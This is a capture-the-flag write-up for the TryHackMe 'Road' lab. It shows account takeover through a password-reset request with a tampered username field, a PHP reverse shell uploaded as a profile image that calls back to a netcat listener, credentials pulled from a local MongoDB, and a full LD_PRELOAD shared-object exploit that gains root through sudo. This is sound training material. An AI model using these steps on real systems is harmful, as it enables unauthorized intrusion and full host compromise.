TryHackMe - Road

Inspired by a real-world pentesting engagement

Enumeration

Nmap

┌──(kali㉿kali)-[~]
└─$ sudo nmap -p- --min-rate 5000 -Pn 10.10.222.154
Starting Nmap 7.93 ( https://nmap.org ) at 2023-08-28 10:12 EDT
Nmap scan report for 10.10.222.154
Host is up (0.19s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 14.25 seconds
┌──(kali㉿kali)-[~]
└─$ sudo nmap -sC -sV -A -Pn -p 22,80 10.10.222.154
Starting Nmap 7.93 ( https://nmap.org ) at 2023-08-28 10:08 EDT
Nmap scan report for 10.10.222.154
Host is up (0.19s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 e6dc8869dea1738e845ba13e279f0724 (RSA)
|   256 6bea185d8dc79e9a012cdd50c5f8c805 (ECDSA)
|_  256 ef06d7e4b165156e9462ccddf08a1a24 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Sky Couriers
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Adtran 424RG FTTH gateway (92%), Linux 2.6.32 (92%), Linux 2.6.39 - 3.2 (92%), Linux 3.1 - 3.2 (92%), Linux 3.2 - 4.9 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 80/tcp)
HOP RTT       ADDRESS
1   187.65 ms 10.9.0.1
2   187.85 ms 10.10.222.154

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 27.09 seconds

Dir Scan

┌──(kali㉿kali)-[~]
└─$ gobuster dir -w ~/Wordlists/directory-list-2.3-medium.txt --no-error -t 60 -u http://10.10.222.154/
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.222.154/
[+] Method:                  GET
[+] Threads:                 60
[+] Wordlist:                /home/kali/Wordlists/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/assets               (Status: 301) [Size: 315] [--> http://10.10.222.154/assets/]
/v2                   (Status: 301) [Size: 311] [--> http://10.10.222.154/v2/]
/server-status        (Status: 403) [Size: 278]
/phpMyAdmin           (Status: 301) [Size: 319] [--> http://10.10.222.154/phpMyAdmin/]

HTTP

Default

Untitled

/assets/

Untitled

****/v2/**** (auto re-direct)

Untitled

Initiate Foothold

Find admin’s account

There is an option REGISTER → Let’s create a new user instead of trying to brute-force the login function:

Untitled

After the REGISTER step, the application re-directs me back to the login page, then I login and it routes me to the index page:

Untitled

I click on the user icon on the top-right to open the drop-down menu and click the ***Profile*** section:

Untitled

In the Profile page, scroll down to the end and notice at a note of the ***Select Profile Image*** section:

Untitled

So now I have the admin’s username:

admin@sky.thm

Update password injection → gain admin

Look at the side bar on the left, at the section *Users* → Click the *ResetUser* option:

Untitled

From here, I use **Burpsuite** to capture the requests from the application to the server to see what would happen if I change the password of my current user:

POST /v2/lostpassword.php HTTP/1.1
Host: 10.10.222.154
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------23437003053643363998427021955
Content-Length: 647
Origin: http://10.10.222.154
Connection: close
Referer: http://10.10.222.154/v2/ResetUser.php
Cookie: Bookings=0; Manifest=0; Pickup=0; Delivered=0; Delay=0; CODINR=0; POD=0; cu=0; PHPSESSID=jfp2psme4qoac98av8llbpk2g2
Upgrade-Insecure-Requests: 1

-----------------------------23437003053643363998427021955
Content-Disposition: form-data; name="uname"

kali@email.com
-----------------------------23437003053643363998427021955
Content-Disposition: form-data; name="npass"

6789
-----------------------------23437003053643363998427021955
Content-Disposition: form-data; name="cpass"

6789
-----------------------------23437003053643363998427021955
Content-Disposition: form-data; name="ci_csrf_token"

-----------------------------23437003053643363998427021955
Content-Disposition: form-data; name="send"

Submit
-----------------------------23437003053643363998427021955--

From the request, you can see that my username (uname) is kali@email.com which is the one that I have registered and the npass (might be stands for **new password**) and cpass (confirm password) is 6789 (the original password is 123456).

I sign out and try to login again to verify that my password has been changed correctly:

Untitled

Untitled

OK! Because I’ve already had the admin’s username, I will use it to modify the request as below:

Untitled

Content-Disposition: form-data; name="uname"

admin@sky.thm
-----------------------------23437003053643363998427021955
Content-Disposition: form-data; name="npass"

6789
-----------------------------23437003053643363998427021955
Content-Disposition: form-data; name="cpass"

6789
-----------------------------23437003053643363998427021955
Content-Disposition: form-data; name="ci_csrf_token"

Click **Send** and see the response:

Untitled

Sign out the current user (kali) and sign in with the admin’s username:

Untitled

Exploit

Upload image injection

Get back to the ***Profile*** page > scroll down to the ***Select Profile Image*** section → Now I can upload an image:

Untitled

I choose a normal image within .png extension and upload it:

Untitled

The upload process was succeed. However, where is it? I had check the path /assets/images/ but it was not there. So I press Ctrl + U to view the page source of the current page. Look through it and I found this script:

<!-- /v2/profileimages/ -->
<script type="text/javascript">
	function showtab(tab){
		console.log(tab);
		if(tab == 'new_task'){
			$('#new_task').css('display','block');
			$('#your_task').css('display','none');
			} else {
			$('#new_task').css('display','none');
			$('#your_task').css('display','block');
		}
	}
</script>

My uploaded image might be stored in the /v2/profileimages/ → Let’s check it:

Untitled

Hmmm… The listing is not available to view. So I try to specify the image name:

Untitled

Gain Access

I have verified that the image could be upload and view on the application. Now it’s time to use a reverse shell to get the access:

┌──(kali㉿kali)-[~/TryHackMe/Road]
└─$ ls -l
total 136
-rw-r--r-- 1 kali kali 128615 Oct  7  2021 room_pic.png
-rwxr-xr-x 1 kali kali   5492 Aug 28 10:56 shell.php

Untitled

Start the listener on local machine:

┌──(kali㉿kali)-[~/TryHackMe/Road]
└─$ nc -lvnp 4444
listening on [any] 4444 ...

Then use curl to execute the shell:

curl http://10.10.222.154/v2/profileimages/shell.php
┌──(kali㉿kali)-[~/TryHackMe/Road]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.9.63.75] from (UNKNOWN) [10.10.222.154] 33172
Linux sky 5.4.0-73-generic #82-Ubuntu SMP Wed Apr 14 17:39:42 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
 15:00:13 up 51 min,  0 users,  load average: 0.00, 0.00, 0.05
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Navigate to /home directory and found 1 user:

$ cd /home
$ ls -la
total 12
drwxr-xr-x  3 root         root         4096 May 25  2021 .
drwxr-xr-x 20 root         root         4096 May 25  2021 ..
drwxr-xr-x  4 webdeveloper webdeveloper 4096 Oct  8  2021 webdeveloper

Access the directory and get the flag:

$ cd webdeveloper
$ ls -la
total 36
drwxr-xr-x 4 webdeveloper webdeveloper 4096 Oct  8  2021 .
drwxr-xr-x 3 root         root         4096 May 25  2021 ..
lrwxrwxrwx 1 webdeveloper webdeveloper    9 May 25  2021 .bash_history -> /dev/null
-rw-r--r-- 1 webdeveloper webdeveloper  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 webdeveloper webdeveloper 3771 Feb 25  2020 .bashrc
drwx------ 2 webdeveloper webdeveloper 4096 May 25  2021 .cache
drwxrwxr-x 3 webdeveloper webdeveloper 4096 May 25  2021 .local
-rw------- 1 webdeveloper webdeveloper   51 Oct  8  2021 .mysql_history
-rw-r--r-- 1 webdeveloper webdeveloper  807 Feb 25  2020 .profile
-rw-r--r-- 1 webdeveloper webdeveloper    0 Oct  7  2021 .sudo_as_admin_successful
-rw-r--r-- 1 webdeveloper webdeveloper   33 May 25  2021 user.txt
$ cat user.txt
[REDACTED]

Privilege Escalation → webdeveloper

$ ss -tl
State   Recv-Q  Send-Q     Local Address:Port       Peer Address:Port  Process
LISTEN  0       128              0.0.0.0:ssh             0.0.0.0:*
LISTEN  0       70             127.0.0.1:33060           0.0.0.0:*
LISTEN  0       511            127.0.0.1:9000            0.0.0.0:*
LISTEN  0       4096           127.0.0.1:27017           0.0.0.0:*
LISTEN  0       151            127.0.0.1:mysql           0.0.0.0:*
LISTEN  0       4096       127.0.0.53%lo:domain          0.0.0.0:*
LISTEN  0       128                 [::]:ssh                [::]:*
LISTEN  0       511                    *:http                  *:*

The port 27017 is the default port of mongodb service. Let’s start the mongo to enumerate the databases:

$ mongo --port 27017
MongoDB shell version v4.4.6
connecting to: mongodb://127.0.0.1:27017/?compressors=disabled&gssapiServiceName=mongodb
Implicit session: session { "id" : UUID("99234862-b7d0-4819-a44d-9758c45fb98f") }
MongoDB server version: 4.4.6
show dbs
admin   0.000GB
backup  0.000GB
config  0.000GB
local   0.000GB
use backup
switched to db backup
show collections
collection
user
db.collection.find()
db.user.find()
{ "_id" : ObjectId("60ae2661203d21857b184a76"), "Month" : "Feb", "Profit" : "25000" }
{ "_id" : ObjectId("60ae2677203d21857b184a77"), "Month" : "March", "Profit" : "5000" }
{ "_id" : ObjectId("60ae2690203d21857b184a78"), "Name" : "webdeveloper", "Pass" : "[REDACTED]" }
{ "_id" : ObjectId("60ae26bf203d21857b184a79"), "Name" : "Rohit", "EndDate" : "December" }
{ "_id" : ObjectId("60ae26d2203d21857b184a7a"), "Name" : "Rohit", "Salary" : "30000" }

Use the password of user webdeveloper in the user table to become the webdeveloper user:

$ su webdeveloper
Password: [REDACTED]

id
uid=1000(webdeveloper) gid=1000(webdeveloper) groups=1000(webdeveloper),24(cdrom),27(sudo),30(dip),46(plugdev)
python3 -c "import pty;pty.spawn('/bin/bash')"
webdeveloper@sky:/$

Privilege Escalation

webdeveloper@sky:~$ sudo -l
sudo -l
Matching Defaults entries for webdeveloper on sky:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    env_keep+=LD_PRELOAD

User webdeveloper may run the following commands on sky:
    (ALL : ALL) NOPASSWD: /usr/bin/sky_backup_utility

I transfer the sky_backup_utility binary to my local machine for analyzing it:

webdeveloper@sky:~$ cd /usr/bin/
webdeveloper@sky:/usr/bin$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
┌──(kali㉿kali)-[~/TryHackMe/Road]
└─$ wget http://10.10.2.103:8000/sky_backup_utility
--2023-08-28 11:30:29--  http://10.10.2.103:8000/sky_backup_utility
Connecting to 10.10.2.103:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 16704 (16K) [application/octet-stream]
Saving to: ‘sky_backup_utility’

sky_backup_utility           100%[==============================================>]  16.31K  87.1KB/s    in 0.2s

2023-08-28 11:30:29 (87.1 KB/s) - ‘sky_backup_utility’ saved [16704/16704]

Use strings:

Sky Backup Utility
Now attempting to backup Sky
tar -czvf /root/.backup/sky-backup.tar.gz /var/www/html/*
Backup failed!
Check your permissions!
Backup successful!
;*3$"

There’s nothing much really helpful for the privilege escalation process. Then I notice at the result of the sudo -l command → env_keep+=LD_PRELOAD

LD_Preload: It is an environment variable that lists shared libraries with functions that override the standard set, just as /etc/ld.so.preload does. These are implemented by the loader /lib/ld-linux.so

I follow the instructions from this source.

Navigate to /tmp directory where in normal cases, any user have the ability to interact with files.

webdeveloper@sky:/var/www/html$ cd /tmp

Then I create a shell.c:

webdeveloper@sky:/tmp$ nano shell.c
webdeveloper@sky:/tmp$ cat shell.c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/sh");
}

webdeveloper@sky:/tmp$ ls -l | grep "shell"
-rw-rw-r--  1 webdeveloper webdeveloper  144 Aug 28 15:41 shell.c
webdeveloper@sky:/tmp$ gcc -fPIC -shared -o shell.so shell.c -nostartfiles
shell.c: In function ‘_init’:
shell.c:6:1: warning: implicit declaration of function ‘setgid’ [-Wimplicit-function-declaration]
    6 | setgid(0);
      | ^~~~~~
shell.c:7:1: warning: implicit declaration of function ‘setuid’ [-Wimplicit-function-declaration]
    7 | setuid(0);
      | ^~~~~~
webdeveloper@sky:/tmp$ ls -la | grep "shell"
-rw-rw-r--  1 webdeveloper webdeveloper   144 Aug 28 15:41 shell.c
-rwxrwxr-x  1 webdeveloper webdeveloper 14760 Aug 28 15:42 shell.so
webdeveloper@sky:/tmp$ sudo LD_PRELOAD=/tmp/shell.so /usr/bin/sky_backup_utility
# id
uid=0(root) gid=0(root) groups=0(root)
# pwd
/tmp
# cd /root
# ls
root.txt
# cat root.txt
[REDACTED]